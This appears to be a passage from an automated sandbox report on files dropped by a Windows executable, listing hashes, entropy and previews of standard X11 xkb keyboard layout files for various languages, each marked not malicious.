Preview:	// Most keyboards have the EuroSign engraved on the E key.partial.xkb_symbols "e" {. key <AD03>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};..// Many Apple keyboards have the EuroSign engraved on the 2 key.partial.xkb_symbols "2" {. key <AE02>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};..// Some keyboards have the EuroSign engraved on the 4 key.partial.xkb_symbols "4" {. key <AE04>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};..// Many keyboards have the EuroSign engraved on the 5 key.partial.xkb_symbols "5" {. key <AE05>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fi

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13141
Entropy (8bit):	3.426060398411498
Encrypted:	false
SSDEEP:	192:CM9cLvXeS/BcvfSlu8/9/bQS3lLOdUztsUPIr:CM+LvOcBcvfSQYbQSLOdUztsUPIr
MD5:	3B1C3B4BDEF2933BF8ABF4414C7D89B8
SHA1:	6AB944F727B7E3D67334A0FC5386B49CF88D3F56
SHA-256:	D8CE03731E8E600A1B42770C44CD51673AF04332180AA722228BBA4D50CD69F6
SHA-512:	C99F85089B721591524A82528B6D27822473E2C0F156F92C4AA9606AB8AD99417B58EF9AD4D58FFB9FE36A9016905E4D389ADCB1AE4BAB41CDA113FA89ABEE09
Malicious:	false
Preview:	//.// X keyboard maps for Finland.//.// SFS 5966 / Kotoistus keymap created by Troy Korjuslommi.// Classic keymap based on traditional by Marko Myllynen.// Eliminate deadkeys alternative sent by Linus Torvalds.//..default partial alphanumeric_keys.xkb_symbols "kotoistus" {.. // Official keymap for Finland based on SFS 5966 standard. //. // This keymap implements all the functionality of Annex 1. // of the standard and additionally defines the following to. // allow entering these characters with keyboards without LSGT.. //. // AE08+4, U+003C : LESS-THAN SIGN (less). // AE09+4, U+003E : GREATER-THAN SIGN (greater). // AD08+4, U+007C : VERTICAL LINE (bar). //. // Annex 3 of the standard is implemented in fi_FI.UTF-8/Compose.. name[Group1]="Finnish";.. key <TLDE> { [ section, onehalf, dead_stroke, NoSymbol ] };. key <AE01> { [ 1, exclam, NoSymbol, exclamdown

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1998
Entropy (8bit):	4.422604163890561
Encrypted:	false
SSDEEP:	24:aT608Z1vjpGoL+UBByCB/DI1jbfH91ozMq/bc4buP+YAWz1gy8O2Ie6ko8lYaGCu:S8ZDG4z362YiEEoeuc8r
MD5:	13D625AB7B8C1198FEB1364A76411C51
SHA1:	2F4C95B68CBC91259488750858352BD36978C2C2
SHA-256:	4B128530740288764BA2F326307600AF5CA29815A1C2762F1E3339F23DAD3595
SHA-512:	DAB293AC49392CC3E664C924B69BDAE20B879CFB39311A9E5300A10DD94580107B058E879B9B4C5BB8E983B5483890F9DCE63664DB8C18F50BF7299C8E788B5A
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type2)".. name[Group1]= "Faroese";.. key <TLDE>.{ [ onehalf, section, threequarters, paragraph ].};. key <LSGT>.{ [ less, greater, backslash, notsign ].};. key <SPCE>.{ [ space, space, nobreakspace, nobreakspace ] };.. key <AE05>.{ [ 5, percent, NoSymbol, cent ] };. key <AE06>.{ [ 6, ampersand, yen, NoSymbol ] };. key <AE11>.{ [ plus, question, plusminus, questiondown ] };. key <AE12>.{ [dead_acute, dead_grave, bar, userenbar ] };.. key <AB03>.{ [ c, C, copyright, NoSymbol ] };. key <AB10>.{ [ minus, underscore, hyphen, macron ] };.. key <AC03>.{ [ d, D, eth, ETH ] };. key.<AC10>.{ [ ae,. AE.] };. key <AC11>.{ [ oslash, Ooblique .] };.. key <AD08>.{ [ i, I ]

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	72401
Entropy (8bit):	4.612362025826931
Encrypted:	false
SSDEEP:	768:4HBG9qcenc0HxpX20T1lOs4IemVlWhSZURCOf7LeaLXu5oTQDxHLmrMzU0xgx:4HBG9qPLV1lOs4IemV4ZNLVLX27SwzWx
MD5:	FD3F8BE37C39EBEE934285A966343E5E
SHA1:	4778FAEE0EBB32193B5388629E16F64746FC756A
SHA-256:	9537450857BC2281AEBE931DF4270E95FD578D0A7DAD809519B45E013FE01A8F
SHA-512:	7F040AFA072DA5C31AF81D9C3BA09C32831BA29756EA87BEFAAB486F066AA526106FB7809CCD4A27128E8B3D38AAEC28298FEC3BB650397F38030BD2E39D607D
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="French";.. key <AE01>.{ [ ampersand, 1, onesuperior, exclamdown ].};. key <AE02>.{ [ eacute, 2, asciitilde, oneeighth ].};. key <AE03>.{ [ quotedbl, 3, numbersign, sterling ].};. key <AE04>.{ [apostrophe, 4, braceleft, dollar ].};. key <AE05>.{ [ parenleft, 5, bracketleft, threeeighths ].};. key <AE06>.{ [ minus, 6, bar, fiveeighths ].};. key <AE07>.{ [ egrave, 7, grave, seveneighths ].};. key <AE08>.{ [underscore, 8, backslash, trademark ].};. key <AE09>.{ [ ccedilla, 9, asciicircum, plusminus ].};. key <AE10>.{ [ agrave, 0, at, degree ].};. key <AE11>.{ [parenright, degree, bracketright, questiondown ].};. key <AE12>.{ [ equal, plus, braceright, dead_ogonek ].};..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fujitsu_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4112
Entropy (8bit):	5.189498184304476
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLckMrcf+Ke4GEKEUC/+UXEWzCZyQNI4EuACXGkf9JdbhVqAdfzL:8YQHHgrTtB3K7oQNlrKinl
MD5:	83AF9D818F26BFE898E19AC66016593D
SHA1:	697E6CDC2018D4E29FE4C438D4B935163FEAE492
SHA-256:	A1C866EE6589732647F4AF3ED33B0DFDC4170128FF814EA15DF96996E37855D3
SHA-512:	4ABF31985E7B4A999ED7E27EA6A2E3D44979BB61EBD01042DECDBFD45A340769907D157B6FDAC53892E00374F6341729DCF9D737DCAAD8D15E342B7AA76E13F2
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fujitsu_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4383
Entropy (8bit):	5.113045958520788
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFHcNM8phGt+MyIGX41Bv2uwtgQf/1Bawt:zCzUqYQHKQgrTLjcNMghGQoBeDgCa2
MD5:	04918E26AA1C54E973EA1D454B983FF9
SHA1:	15B6D72A6BEEB07F6AAFFE120E98513610EEF49B
SHA-256:	C78E2073144844A8B637F93B9EC465B8BA6FE47C6E060108773AF45EB8FBFA6C
SHA-512:	24A5C3E87E0F74CE4971FC0BB0F1E2B90A840F8B9C2F400A90638F974FB6B52BEF41AC942790CDA9A3CA9236978520224C9FACB1EABCA41BFA365D03B94F12D1
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gb

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	7624
Entropy (8bit):	4.54427392091142
Encrypted:	false
SSDEEP:	192:XrYUK2XeQHa9XIU1/JoMi+YO2nPty0NSmdqrYpRsszAhb2D:XrYUHXe2a9J1honD7PPNSmdqrYpRssug
MD5:	121258666DE9B9C1AD29371473CFE4D9
SHA1:	159D78FE5E4953B142A31655FB640D50B4308E8F
SHA-256:	6BF0B66F6683DF526D1232A883A18597A87E9340B823CE00B0AEB5257B6E475C
SHA-512:	AC53200972677EAE32BF4EFF717AA9B70322BDB6032A2934844DB65DAF1FB53AEFC783B8317EB91B93F511CBBD6C2A18B99BEAC53D3CA41F76D7C05233E923B6
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/gb' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple U.K. keyboard layout defined by. // the SVR4 European Language Supplement and sometimes also. // known as the IBM 166 layout... include "latin".. name[Group1]="English (UK)";.. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE03>.{ [ 3, sterling, threesuperior, sterling ].};. key <AE04>.{ [ 4, dollar, EuroSign, onequarter ].};.. key <AC11>.{ [apostrophe, at, dead_circumflex, dead_caron].};. key <TLDE>.{ [ grave, notsign, bar, bar ].};.. key <BKSL>.{ [numbersign, asciitilde, dead_grave, dead_breve ].};. key <LSGT>.{ [ backslash, bar, bar, userenbar ].};.. include "level3(ralt_switch_multikey)".};..partial alphanumeric_keys .xkb_sy

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ge

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12000
Entropy (8bit):	4.426818456308232
Encrypted:	false
SSDEEP:	192:z5FohRWaWDFhRgNk5KUpkzWcn1Jr4hrU2q2Jey9FhZVOv8CopC1xWDkqBAy78u:z5Foh8aGnRgNk5LpkzJ1Jr4hrU/25nhd
MD5:	3C55974FC1B5F6B14A792205866EA6FD
SHA1:	9777A5E549282412AC7789994CF034E947B05857
SHA-256:	8D12494309886E14D9783739C21EE2E397B716CBB5F8201B432654266CAB1B0F
SHA-512:	FFAA33E4332D8279E1764F5625026951C2B4CC7AEC59E0434BFD865779CFCA9C561E8F976DCBE38080501BC59D914E8B97E86781401A9BB63400FF349A330AD1
Malicious:	false
Preview:	// Georgian Keyboard Layouts by Aiet Kolkhi <aietkolkhi@gmail.com>.// Full layout descriptions available at http://www.gakartuleba.org/layouts/.//.// This includes the following keyboard layouts: Georgian QWERTY; Georgian Ergonomic;.// Georgian MESS; Georgian AZERTY Tskapo; Georgian Russian..//.// Layouts include Georgian Mkhedruli alphabeth; most layouts also include some special.// and ancient characters (like Fi, Yn, Elifi, Turned Gan and Ain). Layouts do not.// include Georgian Asomtavruli or Georgian Khutsuri alphabeths which are also present.// in Unicode..//.// Georgian Typewriter no longer supported, as it is no longer used in Georgia..//.// some layouts based on Georgian keyboard map, in the so called "latin" layout..// 1999, Pablo Saratxaga <srtxg@chanae.alphanet.ch>.//..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Georgian";.. key <TLDE> { [ 0x0100201e, 0x0100201c, 0x0100201e, asciitilde ] };. key <AE01> { [ 1, exclam, apostrophe ] };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6570
Entropy (8bit):	4.565512907378805
Encrypted:	false
SSDEEP:	96:oIdQ1FpoOR8EXy9ovziVHfzcI9ZssGWXga:oaQ1FpxKEXcovuVh9ZYWwa
MD5:	15F683ABAC75013ACAF48CB0575DFF43
SHA1:	76B9FC7F4CCE594069D7B669637A7209C900E787
SHA-256:	FD08BB98F11B1F0F98282D92A207EAAE1F9B6E86846EBD690B75FDC636BD6F6C
SHA-512:	D8A5CC67BAE269B96F84F87E4FFCF04C961BDB171E7C4B37AF5514856C3102B66A3DFC23E13AF8D5DA1E9FCB60E9AFB985A3C82A69FC509E07F04B3BF9296344
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "us".. name[Group1]= "English (Ghana)";.. key <AE04> { [ 4, 0x010020B5, dollar, cent ] };. include "level3(ralt_switch)".};..partial alphanumeric_keys.xkb_symbols "akan" {. include "gh(basic)".. name[Group1]= "Akan";.. key <AD01> { [ 0x0100025B, 0x01000190, q, Q ] };. key <AB02> { [ 0x01000254, 0x01000186, x, X ] }; .};..partial alphanumeric_keys.xkb_symbols "ga" {. include "gh(basic)".. name[Group1]= "Ga";.. key <AD01> { [ 0x0100025B, 0x01000190, q, Q ] };. key <AB02> { [ 0x01000254, 0x01000186, x, X ] }; . key <AB03> { [ 0x0100014B, 0x0100014A, c, C ] }; .};..partial alphanumeric_keys.xkb_symbols "ewe" {. include "gh(basic)".. name[Group1]= "Ewe";.. key <AD01> { [ 0x0100025B, 0x01000190, q, Q ] };. key <AB03> { [ 0x0100014B, 0x0100014A,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2357
Entropy (8bit):	4.649198059707925
Encrypted:	false
SSDEEP:	48:lzuuj8boQxbvyYCz6odragAoIG15z4RyhqqsquHjq/Y:Zuuwbo8bvyY86odrag1IG15ER4z0q/Y
MD5:	D14B3AECCF1760123A5D7B4A70E01D9A
SHA1:	100C91233E9B259F7790ED687567A8D65B998268
SHA-256:	EDB469E6602D10E01B46576A08C5FBAC777CBA951F24CC1596BF75C4E4FE27B2
SHA-512:	66AEF5A560C95DB5DCCE3B9B177BB8638E9F208F04264A1F6F5539A4B214095CEA9597D355CF848030346E4B08002A05C987CB923E8D462CB57489D7E932C28B
Malicious:	false
Preview:	// based on us_intl keyboard map file and a Sinhala keyboard map.// version 0.3..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="French (Guinea)";.. key <AE01>.{ [0x010007F1, 0x010007C1 ].};. key <AE02>.{ [0x010007EB, 0x010007C2 ].};. key <AE03>.{ [0x010007F5, 0x010007C3, numbersign, sterling ].};. key <AE04>.{ [0x010007F4, 0x010007C4, 0x01002E1C, dollar ].};. key <AE05>.{ [ parenleft, 0x010007C5, 0x01002E1D.... ].};. key <AE06>.{ [ minus, 0x010007C6, bar.... ].};. key <AE07>.{ [0x010007EC, 0x010007C7, grave.... ].};. key <AE08>.{ [0x010007FA, 0x010007C8, backslash.... ].};. key <AE09>.{ [0x010007ED, 0x010007C9, asciicircum, plusminus ].};. key <AE10>.{ [0x010007EE, 0x010007C0, at, degree ].};. key <AE11>.{ [parenright ].};. key <AE12>.{ [ equal, plus, braceright ].};.. key <AD01>.{ [0x010007CA ].};. key <AD02>.{ [0x010007E0, less ].};. key <AD03>.{ [0

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11312
Entropy (8bit):	4.841953139477908
Encrypted:	false
SSDEEP:	192:SESMdja101VfocmAW9M5kvTnfpR6zY7xBOpdRC7vd+JzsGl:XS0ja01VfocmAW9akv772zRW1+JIGl
MD5:	EA90883D59CEADE7F4D93D4C7ECE922D
SHA1:	636BAE707341CE7AE461AB8452D4B4B136D30D3B
SHA-256:	45EC4D61EE857BC04DCB70BEBCA33A2550D45151FA0E4A614FB7BDAD5EBC0FBE
SHA-512:	2B8B2A90CB0007C91D5715A2BCE1C879EB204AA8B9BD1FF97FEE420124EE0FC2BC30E84C5C5DF6A2F5DE29251A734C477554287F51F8EDB8C9FB2AB052053509
Malicious:	false
Preview:	// Hellenic keyboard map for X.org.//.// Original version:.// Kostas Gewrgiou <gewrgiou@imbc.gr>.// Heavily modified and maintained by:.// Vasilis Vasaitis <vvas@hal.csd.auth.gr>.// Originally converted to single group form by:.// Ivan Pascal <pascal@info.tsu.ru>..default partial alphanumeric_keys alternate_group.xkb_symbols "basic" {..include "gr(simple)"...name[Group1] = "Greek";...include "eurosign(e)"..include "eurosign(5)"..include "kpdl(comma)"..include "level3(ralt_switch)"...key <AB01> { [ NoSymbol, NoSymbol, U037D, U03FF ] };..key <AB02> { [ NoSymbol, NoSymbol, rightarrow, leftarrow ] };..key <AB03> { [ NoSymbol, NoSymbol, copyright ] };..key <AB04> { [ NoSymbol, NoSymbol, U03D6 ] };..key <AB05> { [ NoSymbol, NoSymbol, U03D0 ] };..key <AB06> { [ NoSymbol, NoSymbol, U0374, U0375 ] };..k

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\group

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11606
Entropy (8bit):	5.119119233754872
Encrypted:	false
SSDEEP:	192:yUTqUC3PUmHUXIgpZ2M4HQFjvBsgVF0iP0eh0WW3010f0DWwja6ZTd0bnIx:vTnCsm0X/gg70iP0eh0W0010f0dJEbIx
MD5:	FD95D7DCD7E9B2A323EE37F1C5DA7663
SHA1:	964A8403C36278C2406F135A90671AB18684D227
SHA-256:	83C9951322F6C9D2D386BFEFA22FB7A4DA92E86143BFEABBDD10B79387AAD56D
SHA-512:	029EBAB6933586644961286ACC861EA55BAEACAEA0E5C0CF77291057F7ACE29608D514CE46C56623339660712194A00695B2ADCEE351B5F89089DB40C19A3D41
Malicious:	false
Preview:	// using the group(switch) map, the right alt key temporarily chooses .// the second keyboard group (until it is released)..//.partial modifier_keys .xkb_symbols "switch" {. key <RALT>.{ ...symbols[Group1]= [.Mode_switch, Multi_key .],..virtualMods= AltGr. };.};..// using the group(lswitch) map, the left alt key temporarily chooses.// the second keyboard group (until it is released)..//.partial modifier_keys .xkb_symbols "lswitch" {. key <LALT>.{ ...symbols[Group1]= [.Mode_switch, Multi_key .],..virtualMods= AltGr. };.};...// using the group(win_switch) map, both Windows'logo keys temporarily.// choose the second keyboard group (until release). If you use this.// map, you would declare you keyboard as pc101 or pc102 instead of.// pc104 or pc105..partial modifier_keys.xkb_symbols "win_switch" {. include "group(lwin_switch)". include "group(rwin_switch)".};..// using the group(lwin_switch) map, the left Windows' logo key.// temporarily chooses the second keyboard group

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\hp_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3321
Entropy (8bit):	5.195908936871523
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFvIboeYS31ltP0StO6/XBarS:zCzUqYQHKQgrTLkVYSFlSmO+a2
MD5:	575F2812F399CA7A3F98CDEA900FA445
SHA1:	E8FFED4A0F8D368BE7A72FD222D7BFF2A4FC60BA
SHA-256:	A7F93AF2035754867DE8BD129D14CB4F19F153CCA52C88BE3F71601501CBC9FC
SHA-512:	B9E676E33776EF178FE40227D5300130C4BF25B6A636FB709A94EDF1342A94D1E987E62EBE2B038E97EE432222CA46123FF85BF8CC03340DC7F314AA2A366716
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\hr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2502
Entropy (8bit):	4.45071525807134
Encrypted:	false
SSDEEP:	24:aT60zfdmRViJxIvYAgwKqk5fCLqg6ajNN8U2gH4W4bJYRl5jfDJkD6DqqD4UhABp:Szlm/YLpV0uY5RR+QsIVeB9tBr7
MD5:	0CC81F14692F5E9BD121AD6B4955DDE7
SHA1:	AF1455E0DA34C8B36D6DB094C95391F9F8C49220
SHA-256:	7F765AF6F4015A975C4BA565A0A0C5883100A5787607CFC89E05A912DEBD7E3D
SHA-512:	0C42869D01AD4C194A1DAE8591968C2E51E348ACC08F5AAFE871CA749BAA0FF10512B4F0CF19B18F875B12482875182686B58DCFDA276DB8A61636613EEDC847
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Croatian";.. include "rs(latin)".. // Redefine these keys to match XFree86 Croatian layout. key <AE01> { [ 1, exclam, asciitilde, dead_tilde ] };. key <AE03> { [ 3, numbersign, asciicircum, dead_circumflex ] };. key <AE05> { [ 5, percent, degree, dead_abovering ] };. key <AE07> { [ 7, slash, grave, dead_grave ] };. key <AB10> { [ minus, underscore, dead_belowdot, dead_abovedot ] };.};..partial alphanumeric_keys .xkb_symbols "us" {.. name[Group1]= "Croatian (US keyboard with Croatian letters)";.. include "us".. key <AD01> { [ any, any,.backslash. ] };. key <AD02> { [ any, any,.bar . ] };. key <AD03> { [ any, any, .EuroSign . ] };. key <AD06> { [ any, any,.z,..Z ] };. key <AD11> { [ any, any, .scaron,..Scaron ] };. key <AD12> { [ any,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\hu

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	14615
Entropy (8bit):	4.496779504461942
Encrypted:	false
SSDEEP:	384:4I1PaHKaPeO1Bxe9NP/wScrEyrgE/wS0jEyros932rBX+uIVSUSrLroJIVSQKrLz:paH3T3QL7Y7sRmlO2p2BH
MD5:	444E7D119873FCE0F1D48AFD10D5D168
SHA1:	9CAE8CAA7C773C982ECA211B56CD12B7E3E3EEEC
SHA-256:	0B002BC567BF57A0BCE7260FE4E50935A64DC96C093E5E5A6084C62236FBD503
SHA-512:	A3479B7CABEBADFE5FEC4CF1B913713584FAD5027564AC0F84BCA3F12C7EE189F57122317A7E1F4AC1C26D5D0C88BD16B91C051AA15CFCF642243952A39C38F4
Malicious:	false
Preview:	// New style XKB layout for some widely used Hungarian keyboard layouts.//.// Based on old style 'xkb/symbols/hu".//.// (C) 2002-2004 So.s P.ter <sp@osb.hu>.// (C) 2010 Andras Timar <timar@fsf.hu>.//.// Permission is granted to anyone to use, distribute and modify.// this file in any way, provided that the above copyright notice.// is left intact and the author of the modification summarizes.// the changes in this header..//.// This file is distributed without any expressed or implied warranty..//.// Changes:.// 2004-04-17 - Moved to new style (only Unicode based layouts).// - Added consistent dead key support.// - Fixed abovedot.// - Added adiaeresis.// - Added EuroSign and cent symbol.// 2010-04-23 - Added doublelowquotemark.// - Added rightdoublequotemark.// - Added endash.// 2010-05-13 - Added ellipsis...// Default layout.default partial.xkb_symbols "basic" {. include "hu(102_qwertz_comma_dead)". na

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ie

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20344
Entropy (8bit):	4.446919361891912
Encrypted:	false
SSDEEP:	384:Cqd8w1CiMyEWDNeZV6WHe6nCR/9iEW7l8cK0BHe6cmzXT60U0uWlUoxsV0tqe4YN:C+11eISnU/a00N+mzmV0uhV/e3TAmxz
MD5:	791BDF91B525EECC5F77D25504520BC4
SHA1:	4FDFEA6CC897A98A20E8E0E488C3248FA26CBC15
SHA-256:	1BFFC37227665F80B6568641D1E0953A377BA6897FCF44C8DCC604CE36375715
SHA-512:	1F72AAD9CF6CDEF9DE945485E839AC6C52619D40007502DD96D02BA30BB3092EFA3F12596ECDC79A5D2831A3EB3B7E2FC5F4936B01FD2D0F06BEF1DFE08AB874
Malicious:	false
Preview:	// Irish keyboard map..// Support for Irish (old and new orthography) and English.// Seamus O Ciardhuain <seoc@cnds.ucd.ie> (19 December 2002)..// The general idea is to provide the characters in ISO 8859-1,.// ISO 8859-15, ISO 8859-14, CP1252 and "Extended Latin-8"..// However, not all are accessible directly because there aren't.// enough keys; some need deadkeys to access them, others the .// "Multi_key" compose sequences...// Designed to be similar to the layouts used on Windows.// and the Macintosh...// Everything is in Group 1 to be compatible with the.// multi-layout keyboard support in XFree86 4.3...// The basic layout is a modern keyboard, but dotted consonants are.// accessible using a deadkey (AltGr+H or AltGr+W)..// If a proper Clo Gaelach keyboard is needed, then use the layout.// defined below as ie(CloGaelach), which gives dotted consonants.// without use of a deadkey....default partial alphanumeric_keys.xkb_symbols "basic" {.. // Modern keyboard for Irish and Engli

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\il

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16204
Entropy (8bit):	5.158820282050825
Encrypted:	false
SSDEEP:	384:fRLk79dY9qCXmpGLnAFmq21DKON/hzHQfWjCVc1HB6XRqeB2:fypaZRGu1p
MD5:	00856C35C83A6CB62DBE2DED82FF7F3A
SHA1:	96BF2F62E171824C48776D1EA2DBA307D0C69E56
SHA-256:	15A4DE56058F77B5EA32A582A308AA7AE87A8BE4BD4F26C7FE72CA430F545AB9
SHA-512:	DF7726D5EEE82BAF2280F466AE2D4E4EFA3212877269D21D7B4674497571FB869CCB80F04EEC18DFCB1F506F0C3A56CECFB897CDCF8484A79D3A922A5E8BB737
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/il' file..// This is a partial implemetation of the Israeli standard SI-1452.// It does not implement changes to the English layout ("Alt-English"), .// as I believe that it is not the job of this layout to modify the English.// layout..default partial alphanumeric_keys.xkb_symbols "basic" {. // uses the kbd layout in use in Israel... name[Group1]= "Hebrew";.. key <AD01> { [ slash,.Q..].};. key <AD02> { [ apostrophe,.W..].};. key <AD04> { [ hebrew_resh,.R..].};. key <AD05> { [ hebrew_aleph,T..] };. key <AD06> { [ hebrew_tet,.Y..] };. key <AD07> { [ hebrew_waw,.U..] };. key <AD08> { [ hebrew_finalnun,.I.] };. key <AD09> { [ hebrew_finalmem,.O.] };. key <AD10> { [ hebrew_pe,.P..].};.. key <AC02> { [ hebrew_dalet,S..] };. key <AC03> { [ hebrew_gimel,D..] };. key <AC04> { [ hebrew_kaph,.F..].};. key <AC05> { [ hebrew_ayin,.G..] };. key <AC06> { [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\in

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	84386
Entropy (8bit):	4.752650710762884
Encrypted:	false
SSDEEP:	1536:O+p9cZTi56z040rIb9YzyLPYZLnQDFhpZkB57E:Z6Zqw
MD5:	56D79740DC307D49AD92D94841DF428D
SHA1:	D92ACFD87F11FD3FE1A0DBE6017C6DC45BDB5F95
SHA-256:	511738B23311C8257BA0969822966A80F13EDE8386193250F3D4EC6BE831D083
SHA-512:	A454AAB46117EDD3A6CFD51F010DD86EEF02CD0146FA88E063CFA87FAF27A59D5E29E05E00DA9729FD08355A083F685FED86B7C3EF369C35902D246BB2E6A4F3
Malicious:	false
